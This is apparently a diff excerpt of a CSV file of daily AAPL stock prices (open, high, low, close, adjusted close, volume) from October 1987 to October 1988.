-1987-10-26,1.2321428060531616,1.25,0.9866071343421936,1.0,0.7945672869682312,78400000.0,AAPL
-1987-10-27,1.0535714626312256,1.1517857313156128,1.0357142686843872,1.0803571939468384,0.8584163188934326,113960000.0,AAPL
-1987-10-28,1.0982142686843872,1.2053571939468384,1.0446428060531616,1.1964285373687744,0.9506425261497498,104720000.0,AAPL
-1987-10-29,1.2232142686843872,1.4285714626312256,1.1517857313156128,1.4107142686843872,1.1209075450897217,82880000.0,AAPL
-1987-10-30,1.4285714626312256,1.5357142686843872,1.375,1.3794642686843872,1.0960773229599,105280000.0,AAPL
-1987-11-02,1.3839285373687744,1.4107142686843872,1.3392857313156128,1.3839285373687744,1.0996243953704834,47040000.0,AAPL
-1987-11-03,1.3571428060531616,1.375,1.2232142686843872,1.2946428060531616,1.0286809206008911,78400000.0,AAPL
-1987-11-04,1.2678571939468384,1.3303571939468384,1.2410714626312256,1.2857142686843872,1.0215867757797241,58520000.0,AAPL
-1987-11-05,1.2946428060531616,1.3839285373687744,1.2946428060531616,1.3571428060531616,1.0783417224884033,63840000.0,AAPL
-1987-11-06,1.3660714626312256,1.4107142686843872,1.3214285373687744,1.3482142686843872,1.071246862411499,46760000.0,AAPL
-1987-11-09,1.3214285373687744,1.3392857313156128,1.2946428060531616,1.3303571939468384,1.057058334350586,52640000.0,AAPL
-1987-11-10,1.3035714626312256,1.3392857313156128,1.2857142686843872,1.2946428060531616,1.0286809206008911,57960000.0,AAPL
-1987-11-11,1.3303571939468384,1.3660714626312256,1.3125,1.3303571939468384,1.057058334350586,46480000.0,AAPL
-1987-11-12,1.375,1.4285714626312256,1.3705357313156128,1.3839285373687744,1.0996243953704834,61600000.0,AAPL
-1987-11-13,1.4017857313156128,1.4107142686843872,1.3214285373687744,1.3303571939468384,1.057058334350586,38640000.0,AAPL
-1987-11-16,1.3482142686843872,1.375,1.3035714626312256,1.3125,1.042870044708252,46200000.0,AAPL
-1987-11-17,1.3125,1.3214285373687744,1.25,1.25,0.9953781366348267,67200000.0,AAPL
-1987-11-18,1.2767857313156128,1.3035714626312256,1.2321428060531616,1.2946428060531616,1.0309271812438965,66360000.0,AAPL
-1987-11-19,1.3035714626312256,1.3035714626312256,1.2142857313156128,1.2321428060531616,0.9811581969261169,45640000.0,AAPL
-1987-11-20,1.2142857313156128,1.2857142686843872,1.1875,1.2678571939468384,1.0095981359481812,62720000.0,AAPL
-1987-11-23,1.2678571939468384,1.2946428060531616,1.2410714626312256,1.2946428060531616,1.0309271812438965,24348800.0,AAPL
-1987-11-24,1.3125,1.3482142686843872,1.2901785373687744,1.3214285373687744,1.05225670337677,49280000.0,AAPL
-1987-11-25,1.3214285373687744,1.3214285373687744,1.2857142686843872,1.3035714626312256,1.0380375385284424,23100000.0,AAPL
-1987-11-27,1.2946428060531616,1.3035714626312256,1.2410714626312256,1.25,0.9953781366348267,17670800.0,AAPL
-1987-11-30,1.2053571939468384,1.2321428060531616,1.0892857313156128,1.1785714626312256,0.9384994506835938,104160000.0,AAPL
-1987-12-01,1.1964285373687744,1.2142857313156128,1.1696428060531616,1.1875,0.945609450340271,45360000.0,AAPL
-1987-12-02,1.1875,1.1964285373687744,1.1607142686843872,1.1607142686843872,0.9242797493934631,35560000.0,AAPL
-1987-12-03,1.1785714626312256,1.1919642686843872,1.0625,1.0892857313156128,0.8674010038375854,79800000.0,AAPL
-1987-12-04,1.0803571939468384,1.1160714626312256,1.0625,1.0982142686843872,0.8745107054710388,61040000.0,AAPL
-1987-12-07,1.1071428060531616,1.1875,1.1071428060531616,1.1785714626312256,0.9384994506835938,50960000.0,AAPL
-1987-12-08,1.1964285373687744,1.2455357313156128,1.1875,1.2321428060531616,0.9811581969261169,63560000.0,AAPL
-1987-12-09,1.2321428060531616,1.2946428060531616,1.2098214626312256,1.25,0.9953781366348267,44800000.0,AAPL
-1987-12-10,1.2053571939468384,1.2857142686843872,1.1875,1.2410714626312256,0.988268256187439,69160000.0,AAPL
-1987-12-11,1.2410714626312256,1.2410714626312256,1.1964285373687744,1.2142857313156128,0.9669390320777893,30520000.0,AAPL
-1987-12-14,1.2321428060531616,1.3392857313156128,1.2232142686843872,1.3303571939468384,1.0593664646148682,85400000.0,AAPL
-1987-12-15,1.3482142686843872,1.3660714626312256,1.3214285373687744,1.3392857313156128,1.066476583480835,74760000.0,AAPL
-1987-12-16,1.3482142686843872,1.4196428060531616,1.3303571939468384,1.4017857313156128,1.1162455081939697,82600000.0,AAPL
-1987-12-17,1.4464285373687744,1.4553571939468384,1.4017857313156128,1.4017857313156128,1.1162455081939697,81480000.0,AAPL
-1987-12-18,1.4107142686843872,1.4732142686843872,1.4017857313156128,1.4464285373687744,1.1517947912216187,75600000.0,AAPL
-1987-12-21,1.4464285373687744,1.4910714626312256,1.4375,1.4910714626312256,1.1873441934585571,47040000.0,AAPL
-1987-12-22,1.4910714626312256,1.4910714626312256,1.4464285373687744,1.4821428060531616,1.1802338361740112,32200000.0,AAPL
-1987-12-23,1.4910714626312256,1.5267857313156128,1.4732142686843872,1.5089285373687744,1.2015634775161743,42840000.0,AAPL
-1987-12-24,1.5,1.5357142686843872,1.4910714626312256,1.5223214626312256,1.2122281789779663,17486000.0,AAPL
-1987-12-28,1.5089285373687744,1.5178571939468384,1.4107142686843872,1.4375,1.1446847915649414,57400000.0,AAPL
-1987-12-29,1.4464285373687744,1.5089285373687744,1.4375,1.5044642686843872,1.1980082988739014,29680000.0,AAPL
-1987-12-30,1.5178571939468384,1.5625,1.5178571939468384,1.5491071939468384,1.233558177947998,38920000.0,AAPL
-1987-12-31,1.5178571939468384,1.5357142686843872,1.4955357313156128,1.5,1.194453477859497,29400000.0,AAPL
-1988-01-04,1.5267857313156128,1.5982142686843872,1.5089285373687744,1.5982142686843872,1.2726619243621826,82600000.0,AAPL
-1988-01-05,1.6428571939468384,1.6517857313156128,1.5803571939468384,1.59375,1.2691068649291992,77280000.0,AAPL
-1988-01-06,1.6071428060531616,1.6071428060531616,1.5625,1.5625,1.244222640991211,67200000.0,AAPL
-1988-01-07,1.5535714626312256,1.5982142686843872,1.5178571939468384,1.5892857313156128,1.265552282333374,53200000.0,AAPL
-1988-01-08,1.5892857313156128,1.6160714626312256,1.4107142686843872,1.4285714626312256,1.1375747919082642,121520000.0,AAPL
-1988-01-11,1.4285714626312256,1.5267857313156128,1.4196428060531616,1.5178571939468384,1.2086732387542725,101080000.0,AAPL
-1988-01-12,1.5357142686843872,1.5535714626312256,1.4196428060531616,1.5,1.194453477859497,100240000.0,AAPL
-1988-01-13,1.5,1.5446428060531616,1.46875,1.5089285373687744,1.2015634775161743,52920000.0,AAPL
-1988-01-14,1.5267857313156128,1.53125,1.5,1.5089285373687744,1.2015634775161743,33040000.0,AAPL
-1988-01-15,1.5535714626312256,1.6071428060531616,1.5178571939468384,1.53125,1.2193385362625122,85960000.0,AAPL
-1988-01-18,1.5357142686843872,1.5357142686843872,1.5,1.5267857313156128,1.2157835960388184,31360000.0,AAPL
-1988-01-19,1.5089285373687744,1.5446428060531616,1.4776785373687744,1.5267857313156128,1.2157835960388184,68600000.0,AAPL
-1988-01-20,1.5357142686843872,1.5357142686843872,1.3660714626312256,1.4196428060531616,1.1304649114608765,170240000.0,AAPL
-1988-01-21,1.4464285373687744,1.4553571939468384,1.40625,1.4330357313156128,1.141129732131958,123480000.0,AAPL
-1988-01-22,1.4464285373687744,1.4553571939468384,1.3660714626312256,1.4017857313156128,1.1162455081939697,111440000.0,AAPL
-1988-01-25,1.4107142686843872,1.4821428060531616,1.4107142686843872,1.4598214626312256,1.1624594926834106,50120000.0,AAPL
-1988-01-26,1.4553571939468384,1.4642857313156128,1.4017857313156128,1.4196428060531616,1.1304649114608765,35840000.0,AAPL
-1988-01-27,1.4375,1.4464285373687744,1.3839285373687744,1.4196428060531616,1.1304649114608765,64680000.0,AAPL
-1988-01-28,1.4285714626312256,1.4821428060531616,1.4196428060531616,1.4732142686843872,1.1731239557266235,58240000.0,AAPL
-1988-01-29,1.4821428060531616,1.4910714626312256,1.4375,1.4821428060531616,1.1802338361740112,66360000.0,AAPL
-1988-02-01,1.4910714626312256,1.5178571939468384,1.4776785373687744,1.4910714626312256,1.1873441934585571,49840000.0,AAPL
-1988-02-02,1.4821428060531616,1.4955357313156128,1.4464285373687744,1.4732142686843872,1.1731239557266235,47880000.0,AAPL
-1988-02-03,1.4642857313156128,1.4732142686843872,1.4017857313156128,1.4107142686843872,1.1233552694320679,56560000.0,AAPL
-1988-02-04,1.4107142686843872,1.4330357313156128,1.3928571939468384,1.4196428060531616,1.1304649114608765,49840000.0,AAPL
-1988-02-05,1.4285714626312256,1.4419642686843872,1.375,1.3794642686843872,1.0984710454940796,33040000.0,AAPL
-1988-02-08,1.375,1.4017857313156128,1.3482142686843872,1.3839285373687744,1.1020255088806152,50960000.0,AAPL
-1988-02-09,1.3928571939468384,1.4241071939468384,1.3839285373687744,1.4196428060531616,1.1304649114608765,29120000.0,AAPL
-1988-02-10,1.4196428060531616,1.4821428060531616,1.4196428060531616,1.4642857313156128,1.1660146713256836,57120000.0,AAPL
-1988-02-11,1.4642857313156128,1.4732142686843872,1.4375,1.4508928060531616,1.1553493738174438,36960000.0,AAPL
-1988-02-12,1.4508928060531616,1.4821428060531616,1.4464285373687744,1.4642857313156128,1.1683173179626465,34440000.0,AAPL
-1988-02-16,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4732142686843872,1.1754413843154907,38640000.0,AAPL
-1988-02-17,1.4732142686843872,1.5178571939468384,1.4732142686843872,1.4955357313156128,1.1932510137557983,64120000.0,AAPL
-1988-02-18,1.4866071939468384,1.5267857313156128,1.4821428060531616,1.4910714626312256,1.1896891593933105,35840000.0,AAPL
-1988-02-19,1.4910714626312256,1.5,1.4821428060531616,1.4910714626312256,1.1896891593933105,22691200.0,AAPL
-1988-02-22,1.4821428060531616,1.5580357313156128,1.4821428060531616,1.5446428060531616,1.2324321269989014,50120000.0,AAPL
-1988-02-23,1.5446428060531616,1.5625,1.5089285373687744,1.5267857313156128,1.2181841135025024,55160000.0,AAPL
-1988-02-24,1.5267857313156128,1.5357142686843872,1.5,1.5089285373687744,1.2039364576339722,36400000.0,AAPL
-1988-02-25,1.5,1.5357142686843872,1.4910714626312256,1.4910714626312256,1.1896891593933105,44800000.0,AAPL
-1988-02-26,1.5,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.1896891593933105,20585600.0,AAPL
-1988-02-29,1.4910714626312256,1.5446428060531616,1.4821428060531616,1.5357142686843872,1.2253081798553467,28000000.0,AAPL
-1988-03-01,1.5446428060531616,1.5535714626312256,1.5178571939468384,1.5446428060531616,1.2324321269989014,42840000.0,AAPL
-1988-03-02,1.5625,1.6071428060531616,1.5535714626312256,1.5982142686843872,1.2751752138137817,73080000.0,AAPL
-1988-03-03,1.5892857313156128,1.6785714626312256,1.5892857313156128,1.6607142686843872,1.325042963027954,118440000.0,AAPL
-1988-03-04,1.6428571939468384,1.6785714626312256,1.625,1.6741071939468384,1.3357288837432861,52360000.0,AAPL
-1988-03-07,1.6696428060531616,1.7053571939468384,1.6607142686843872,1.6741071939468384,1.3357288837432861,51800000.0,AAPL
-1988-03-08,1.6696428060531616,1.6785714626312256,1.6428571939468384,1.6517857313156128,1.3179190158843994,36120000.0,AAPL
-1988-03-09,1.6517857313156128,1.6875,1.6517857313156128,1.6696428060531616,1.3321665525436401,33600000.0,AAPL
-1988-03-10,1.6785714626312256,1.6875,1.6160714626312256,1.6160714626312256,1.2894235849380493,44240000.0,AAPL
-1988-03-11,1.625,1.6339285373687744,1.5892857313156128,1.6339285373687744,1.3036707639694214,39480000.0,AAPL
-1988-03-14,1.6339285373687744,1.6607142686843872,1.625,1.6517857313156128,1.3179190158843994,24530800.0,AAPL
-1988-03-15,1.6428571939468384,1.6517857313156128,1.5982142686843872,1.6071428060531616,1.282299280166626,45360000.0,AAPL
-1988-03-16,1.6026785373687744,1.65625,1.5892857313156128,1.6473214626312256,1.314357042312622,29680000.0,AAPL
-1988-03-17,1.6517857313156128,1.6607142686843872,1.5982142686843872,1.6071428060531616,1.282299280166626,65240000.0,AAPL
-1988-03-18,1.6071428060531616,1.625,1.5803571939468384,1.5982142686843872,1.2751752138137817,68040000.0,AAPL
-1988-03-21,1.5848214626312256,1.59375,1.5357142686843872,1.5669642686843872,1.2502421140670776,56840000.0,AAPL
-1988-03-22,1.5714285373687744,1.5892857313156128,1.5446428060531616,1.5714285373687744,1.2538039684295654,29794800.0,AAPL
-1988-03-23,1.5714285373687744,1.5714285373687744,1.4955357313156128,1.5178571939468384,1.2110607624053955,52360000.0,AAPL
-1988-03-24,1.4910714626312256,1.5178571939468384,1.4285714626312256,1.4598214626312256,1.1647555828094482,80080000.0,AAPL
-1988-03-25,1.4553571939468384,1.4732142686843872,1.4285714626312256,1.4330357313156128,1.1433838605880737,32760000.0,AAPL
-1988-03-28,1.4285714626312256,1.4910714626312256,1.4107142686843872,1.4821428060531616,1.182564616203308,43120000.0,AAPL
-1988-03-29,1.4821428060531616,1.5,1.4508928060531616,1.4642857313156128,1.1683173179626465,53480000.0,AAPL
-1988-03-30,1.4553571939468384,1.4732142686843872,1.3839285373687744,1.4107142686843872,1.1255738735198975,92960000.0,AAPL
-1988-03-31,1.4196428060531616,1.4464285373687744,1.4017857313156128,1.4285714626312256,1.1398216485977173,54320000.0,AAPL
-1988-04-04,1.4196428060531616,1.4464285373687744,1.375,1.3839285373687744,1.1042025089263916,45360000.0,AAPL
-1988-04-05,1.4017857313156128,1.4107142686843872,1.375,1.4017857313156128,1.1184499263763428,36960000.0,AAPL
-1988-04-06,1.4107142686843872,1.4910714626312256,1.3928571939468384,1.4910714626312256,1.1896891593933105,47600000.0,AAPL
-1988-04-07,1.4910714626312256,1.5133928060531616,1.4553571939468384,1.4553571939468384,1.1611932516098022,40880000.0,AAPL
-1988-04-08,1.4553571939468384,1.4910714626312256,1.4196428060531616,1.4642857313156128,1.1683173179626465,50680000.0,AAPL
-1988-04-11,1.4910714626312256,1.5,1.4642857313156128,1.4821428060531616,1.182564616203308,37240000.0,AAPL
-1988-04-12,1.4910714626312256,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.1896891593933105,43400000.0,AAPL
-1988-04-13,1.4910714626312256,1.5,1.4642857313156128,1.4732142686843872,1.1754413843154907,35840000.0,AAPL
-1988-04-14,1.4464285373687744,1.4821428060531616,1.3928571939468384,1.4107142686843872,1.1255738735198975,47040000.0,AAPL
-1988-04-15,1.4196428060531616,1.4285714626312256,1.375,1.4107142686843872,1.1255738735198975,58240000.0,AAPL
-1988-04-18,1.4196428060531616,1.4553571939468384,1.4017857313156128,1.4285714626312256,1.1398216485977173,42560000.0,AAPL
-1988-04-19,1.4330357313156128,1.4821428060531616,1.4330357313156128,1.4375,1.1469448804855347,53082400.0,AAPL
-1988-04-20,1.4375,1.4464285373687744,1.4017857313156128,1.4196428060531616,1.132697582244873,53760000.0,AAPL
-1988-04-21,1.4419642686843872,1.4464285373687744,1.3928571939468384,1.4107142686843872,1.1255738735198975,44520000.0,AAPL
-1988-04-22,1.4196428060531616,1.4375,1.4107142686843872,1.4330357313156128,1.1433838605880737,26910800.0,AAPL
-1988-04-25,1.4375,1.4642857313156128,1.4285714626312256,1.4598214626312256,1.1647555828094482,37520000.0,AAPL
-1988-04-26,1.4642857313156128,1.4910714626312256,1.4553571939468384,1.4821428060531616,1.182564616203308,43960000.0,AAPL
-1988-04-27,1.4910714626312256,1.5,1.4821428060531616,1.4910714626312256,1.1896891593933105,31640000.0,AAPL
-1988-04-28,1.4910714626312256,1.5,1.4732142686843872,1.4776785373687744,1.1790025234222412,24791200.0,AAPL
-1988-04-29,1.4732142686843872,1.4821428060531616,1.4464285373687744,1.4642857313156128,1.1683173179626465,22498000.0,AAPL
-1988-05-02,1.4553571939468384,1.4732142686843872,1.4464285373687744,1.4642857313156128,1.1683173179626465,20549200.0,AAPL
-1988-05-03,1.4642857313156128,1.5089285373687744,1.4553571939468384,1.4910714626312256,1.1896891593933105,31080000.0,AAPL
-1988-05-04,1.4955357313156128,1.5401785373687744,1.4910714626312256,1.5,1.1968131065368652,56000000.0,AAPL
-1988-05-05,1.5,1.5089285373687744,1.4821428060531616,1.4910714626312256,1.1896891593933105,17614800.0,AAPL
-1988-05-06,1.4866071939468384,1.4910714626312256,1.4732142686843872,1.4732142686843872,1.1754413843154907,26759600.0,AAPL
-1988-05-09,1.4732142686843872,1.4732142686843872,1.4464285373687744,1.4553571939468384,1.1611932516098022,19093200.0,AAPL
-1988-05-10,1.4464285373687744,1.4642857313156128,1.4375,1.4598214626312256,1.1647555828094482,23976400.0,AAPL
-1988-05-11,1.4375,1.4553571939468384,1.4107142686843872,1.4107142686843872,1.1255738735198975,43680000.0,AAPL
-1988-05-12,1.4107142686843872,1.4375,1.4107142686843872,1.4196428060531616,1.132697582244873,20745200.0,AAPL
-1988-05-13,1.4375,1.4464285373687744,1.4285714626312256,1.4464285373687744,1.1540695428848267,17850000.0,AAPL
-1988-05-16,1.4464285373687744,1.4776785373687744,1.4285714626312256,1.4732142686843872,1.1777698993682861,18690000.0,AAPL
-1988-05-17,1.4821428060531616,1.5,1.4375,1.4464285373687744,1.1563559770584106,48440000.0,AAPL
-1988-05-18,1.4464285373687744,1.4553571939468384,1.4107142686843872,1.4196428060531616,1.1349422931671143,43680000.0,AAPL
-1988-05-19,1.4107142686843872,1.4196428060531616,1.375,1.3928571939468384,1.113527774810791,62440000.0,AAPL
-1988-05-20,1.4017857313156128,1.4107142686843872,1.3839285373687744,1.3839285373687744,1.106390118598938,20434400.0,AAPL
-1988-05-23,1.375,1.3883928060531616,1.3348214626312256,1.3571428060531616,1.0849758386611938,45920000.0,AAPL
-1988-05-24,1.3571428060531616,1.3928571939468384,1.3482142686843872,1.3883928060531616,1.1099592447280884,35560000.0,AAPL
-1988-05-25,1.3928571939468384,1.4196428060531616,1.375,1.375,1.0992522239685059,33880000.0,AAPL
-1988-05-26,1.375,1.4107142686843872,1.375,1.40625,1.1242353916168213,21445200.0,AAPL
-1988-05-27,1.4017857313156128,1.4285714626312256,1.3928571939468384,1.4196428060531616,1.1349422931671143,20988800.0,AAPL
-1988-05-31,1.4285714626312256,1.4821428060531616,1.4196428060531616,1.4821428060531616,1.184908151626587,30800000.0,AAPL
-1988-06-01,1.4821428060531616,1.5178571939468384,1.4732142686843872,1.5178571939468384,1.2134597301483154,57400000.0,AAPL
-1988-06-02,1.5,1.5178571939468384,1.4821428060531616,1.4910714626312256,1.192046046257019,33320000.0,AAPL
-1988-06-03,1.4910714626312256,1.5446428060531616,1.4910714626312256,1.5357142686843872,1.227735996246338,43960000.0,AAPL
-1988-06-06,1.5267857313156128,1.5714285373687744,1.5267857313156128,1.5714285373687744,1.2562882900238037,41160000.0,AAPL
-1988-06-07,1.5625,1.6160714626312256,1.5535714626312256,1.5714285373687744,1.2562882900238037,77840000.0,AAPL
-1988-06-08,1.5803571939468384,1.625,1.5714285373687744,1.6071428060531616,1.2848397493362427,64680000.0,AAPL
-1988-06-09,1.6071428060531616,1.6160714626312256,1.5446428060531616,1.5535714626312256,1.2420120239257812,67480000.0,AAPL
-1988-06-10,1.5535714626312256,1.5982142686843872,1.5357142686843872,1.5892857313156128,1.270564079284668,44240000.0,AAPL
-1988-06-13,1.6071428060531616,1.6160714626312256,1.5803571939468384,1.6071428060531616,1.2848397493362427,37240000.0,AAPL
-1988-06-14,1.6160714626312256,1.6428571939468384,1.6071428060531616,1.6160714626312256,1.2919782400131226,73105200.0,AAPL
-1988-06-15,1.6160714626312256,1.6339285373687744,1.6071428060531616,1.6339285373687744,1.3062539100646973,30520000.0,AAPL
-1988-06-16,1.6071428060531616,1.6160714626312256,1.5803571939468384,1.5892857313156128,1.270564079284668,26843600.0,AAPL
-1988-06-17,1.5982142686843872,1.5982142686843872,1.5803571939468384,1.5982142686843872,1.277701735496521,23847600.0,AAPL
-1988-06-20,1.5848214626312256,1.5982142686843872,1.5714285373687744,1.5758928060531616,1.2598570585250854,19650400.0,AAPL
-1988-06-21,1.5714285373687744,1.6071428060531616,1.5669642686843872,1.6026785373687744,1.2812703847885132,30898000.0,AAPL
-1988-06-22,1.625,1.6383928060531616,1.6071428060531616,1.6294642686843872,1.302685022354126,48890800.0,AAPL
-1988-06-23,1.6339285373687744,1.6339285373687744,1.6071428060531616,1.6071428060531616,1.2848397493362427,17847200.0,AAPL
-1988-06-24,1.6071428060531616,1.625,1.5892857313156128,1.6071428060531616,1.2848397493362427,18678800.0,AAPL
-1988-06-27,1.5892857313156128,1.6205357313156128,1.5892857313156128,1.5892857313156128,1.270564079284668,20904800.0,AAPL
-1988-06-28,1.5982142686843872,1.6517857313156128,1.5892857313156128,1.6517857313156128,1.3205299377441406,40642000.0,AAPL
-1988-06-29,1.6428571939468384,1.6696428060531616,1.6339285373687744,1.65625,1.3240989446640015,35862400.0,AAPL
-1988-06-30,1.6517857313156128,1.6696428060531616,1.6428571939468384,1.6517857313156128,1.3205299377441406,28672000.0,AAPL
-1988-07-01,1.6607142686843872,1.6741071939468384,1.6517857313156128,1.6607142686843872,1.32766854763031,23634800.0,AAPL
-1988-07-05,1.6607142686843872,1.6875,1.6473214626312256,1.6875,1.3490818738937378,26112800.0,AAPL
-1988-07-06,1.6830357313156128,1.6964285373687744,1.6473214626312256,1.6607142686843872,1.32766854763031,39138400.0,AAPL
-1988-07-07,1.6607142686843872,1.6607142686843872,1.6160714626312256,1.6383928060531616,1.309822678565979,26401200.0,AAPL
-1988-07-08,1.625,1.6428571939468384,1.6071428060531616,1.6160714626312256,1.2919782400131226,26348000.0,AAPL
-1988-07-11,1.625,1.625,1.6026785373687744,1.6116071939468384,1.2884089946746826,18407200.0,AAPL
-1988-07-12,1.6071428060531616,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.277701735496521,25225200.0,AAPL
-1988-07-13,1.5982142686843872,1.6071428060531616,1.5803571939468384,1.5982142686843872,1.277701735496521,28792400.0,AAPL
-1988-07-14,1.5982142686843872,1.6160714626312256,1.5892857313156128,1.6071428060531616,1.2848397493362427,15702400.0,AAPL
-1988-07-15,1.6071428060531616,1.625,1.5982142686843872,1.6071428060531616,1.2848397493362427,20756400.0,AAPL
-1988-07-18,1.6205357313156128,1.6428571939468384,1.6160714626312256,1.625,1.2991161346435547,28375200.0,AAPL
-1988-07-19,1.6071428060531616,1.625,1.5669642686843872,1.5982142686843872,1.277701735496521,30576000.0,AAPL
-1988-07-20,1.5982142686843872,1.6071428060531616,1.5714285373687744,1.5803571939468384,1.2634263038635254,30021600.0,AAPL
-1988-07-21,1.5625,1.5714285373687744,1.5267857313156128,1.5357142686843872,1.227735996246338,37256800.0,AAPL
-1988-07-22,1.5357142686843872,1.5446428060531616,1.5178571939468384,1.5178571939468384,1.2134597301483154,25961600.0,AAPL
-1988-07-25,1.5267857313156128,1.5446428060531616,1.5089285373687744,1.5267857313156128,1.2205976247787476,26474000.0,AAPL
-1988-07-26,1.5267857313156128,1.5446428060531616,1.5089285373687744,1.5267857313156128,1.2205976247787476,25382000.0,AAPL
-1988-07-27,1.5267857313156128,1.5446428060531616,1.5178571939468384,1.5267857313156128,1.2205976247787476,29131200.0,AAPL
-1988-07-28,1.5178571939468384,1.5357142686843872,1.5089285373687744,1.5223214626312256,1.217029094696045,23170000.0,AAPL
-1988-07-29,1.5446428060531616,1.5892857313156128,1.5357142686843872,1.5848214626312256,1.2669949531555176,39737600.0,AAPL
-1988-08-01,1.5892857313156128,1.6339285373687744,1.5803571939468384,1.6071428060531616,1.2848397493362427,21484400.0,AAPL
-1988-08-02,1.6071428060531616,1.625,1.5892857313156128,1.59375,1.274133324623108,30321200.0,AAPL
-1988-08-03,1.5982142686843872,1.5982142686843872,1.5714285373687744,1.5982142686843872,1.277701735496521,27711600.0,AAPL
-1988-08-04,1.5982142686843872,1.6160714626312256,1.5892857313156128,1.59375,1.274133324623108,17228400.0,AAPL
-1988-08-05,1.5892857313156128,1.6071428060531616,1.5803571939468384,1.5803571939468384,1.2634263038635254,13165600.0,AAPL
-1988-08-08,1.5892857313156128,1.5982142686843872,1.5714285373687744,1.5714285373687744,1.2562882900238037,7484400.0,AAPL
-1988-08-09,1.5714285373687744,1.5803571939468384,1.5357142686843872,1.5535714626312256,1.2420120239257812,42506800.0,AAPL
-1988-08-10,1.5625,1.5625,1.4910714626312256,1.4955357313156128,1.1956150531768799,36951600.0,AAPL
-1988-08-11,1.5089285373687744,1.5446428060531616,1.5,1.5446428060531616,1.23487389087677,26513200.0,AAPL
-1988-08-12,1.5357142686843872,1.5357142686843872,1.5089285373687744,1.5178571939468384,1.2134597301483154,19370400.0,AAPL
-1988-08-15,1.5089285373687744,1.5089285373687744,1.4464285373687744,1.4732142686843872,1.1799932718276978,41669600.0,AAPL
-1988-08-16,1.4642857313156128,1.5446428060531616,1.4553571939468384,1.5178571939468384,1.2157505750656128,30688000.0,AAPL
-1988-08-17,1.5178571939468384,1.5267857313156128,1.4910714626312256,1.5,1.2014479637145996,29736000.0,AAPL
-1988-08-18,1.5,1.5357142686843872,1.4910714626312256,1.5178571939468384,1.2157505750656128,18516400.0,AAPL
-1988-08-19,1.5178571939468384,1.5267857313156128,1.4464285373687744,1.4553571939468384,1.1656904220581055,56840000.0,AAPL
-1988-08-22,1.4375,1.4553571939468384,1.4107142686843872,1.4196428060531616,1.1370849609375,42548800.0,AAPL
-1988-08-23,1.4196428060531616,1.4375,1.4017857313156128,1.4107142686843872,1.1299327611923218,40894000.0,AAPL
-1988-08-24,1.4196428060531616,1.4553571939468384,1.4107142686843872,1.4553571939468384,1.1656904220581055,31368400.0,AAPL
-1988-08-25,1.4375,1.4464285373687744,1.4017857313156128,1.4330357313156128,1.1478115320205688,31920000.0,AAPL
-1988-08-26,1.4285714626312256,1.4553571939468384,1.4285714626312256,1.4375,1.151387095451355,10038000.0,AAPL
-1988-08-29,1.4553571939468384,1.4642857313156128,1.4464285373687744,1.4598214626312256,1.169265627861023,14308000.0,AAPL
-1988-08-30,1.4553571939468384,1.4642857313156128,1.4285714626312256,1.4598214626312256,1.169265627861023,12642000.0,AAPL
-1988-08-31,1.4642857313156128,1.46875,1.4107142686843872,1.4241071939468384,1.1406604051589966,59421600.0,AAPL
-1988-09-01,1.4196428060531616,1.4196428060531616,1.375,1.3883928060531616,1.1120545864105225,61684000.0,AAPL
-1988-09-02,1.4107142686843872,1.4285714626312256,1.3928571939468384,1.4196428060531616,1.1370849609375,46575200.0,AAPL
-1988-09-06,1.4285714626312256,1.4285714626312256,1.3839285373687744,1.3883928060531616,1.1120545864105225,35862400.0,AAPL
-1988-09-07,1.3928571939468384,1.4107142686843872,1.3482142686843872,1.3660714626312256,1.094176173210144,44777600.0,AAPL
-1988-09-08,1.3660714626312256,1.4107142686843872,1.3482142686843872,1.3839285373687744,1.1084787845611572,51814000.0,AAPL
-1988-09-09,1.3839285373687744,1.4642857313156128,1.3482142686843872,1.4464285373687744,1.1585389375686646,58668400.0,AAPL
-1988-09-12,1.4642857313156128,1.4910714626312256,1.4330357313156128,1.4642857313156128,1.1728419065475464,37007600.0,AAPL
-1988-09-13,1.4375,1.4732142686843872,1.4285714626312256,1.4642857313156128,1.1728419065475464,29920800.0,AAPL
-1988-09-14,1.4910714626312256,1.5133928060531616,1.4821428060531616,1.5,1.2014479637145996,59642800.0,AAPL
-1988-09-15,1.5,1.5267857313156128,1.4821428060531616,1.4866071939468384,1.1907209157943726,41440000.0,AAPL
-1988-09-16,1.4821428060531616,1.5267857313156128,1.4776785373687744,1.5089285373687744,1.2085990905761719,30940000.0,AAPL
-1988-09-19,1.5,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.1942962408065796,23032800.0,AAPL
-1988-09-20,1.4910714626312256,1.5089285373687744,1.4776785373687744,1.4821428060531616,1.1871449947357178,25670400.0,AAPL
-1988-09-21,1.4910714626312256,1.5357142686843872,1.4821428060531616,1.5267857313156128,1.2229018211364746,22836800.0,AAPL
-1988-09-22,1.5357142686843872,1.5714285373687744,1.5267857313156128,1.5714285373687744,1.258659839630127,36416800.0,AAPL
-1988-09-23,1.5535714626312256,1.5803571939468384,1.5535714626312256,1.5625,1.2515075206756592,25370800.0,AAPL
-1988-09-26,1.5625,1.5714285373687744,1.5178571939468384,1.5267857313156128,1.2229018211364746,21758800.0,AAPL
-1988-09-27,1.5178571939468384,1.5535714626312256,1.5178571939468384,1.5491071939468384,1.2407808303833008,40745600.0,AAPL
-1988-09-28,1.5535714626312256,1.5758928060531616,1.5446428060531616,1.5535714626312256,1.244356632232666,21173600.0,AAPL
-1988-09-29,1.5625,1.5803571939468384,1.5535714626312256,1.5714285373687744,1.258659839630127,26518800.0,AAPL
-1988-09-30,1.5714285373687744,1.5714285373687744,1.5446428060531616,1.5446428060531616,1.2372050285339355,23223200.0,AAPL
-1988-10-03,1.5357142686843872,1.5446428060531616,1.5,1.5178571939468384,1.2157505750656128,22694000.0,AAPL
-1988-10-04,1.5089285373687744,1.5267857313156128,1.46875,1.4821428060531616,1.1871449947357178,12913600.0,AAPL
-1988-10-05,1.4732142686843872,1.4910714626312256,1.4464285373687744,1.4598214626312256,1.169265627861023,30800000.0,AAPL
-1988-10-06,1.4464285373687744,1.4598214626312256,1.4017857313156128,1.4196428060531616,1.1370849609375,41941200.0,AAPL
-1988-10-07,1.3928571939468384,1.4196428060531616,1.3705357313156128,1.4196428060531616,1.1370849609375,114396800.0,AAPL
-1988-10-10,1.4107142686843872,1.4196428060531616,1.3392857313156128,1.375,1.1013273000717163,83160000.0,AAPL
-1988-10-11,1.3660714626312256,1.4107142686843872,1.3660714626312256,1.3928571939468384,1.11562979221344,48638800.0,AAPL
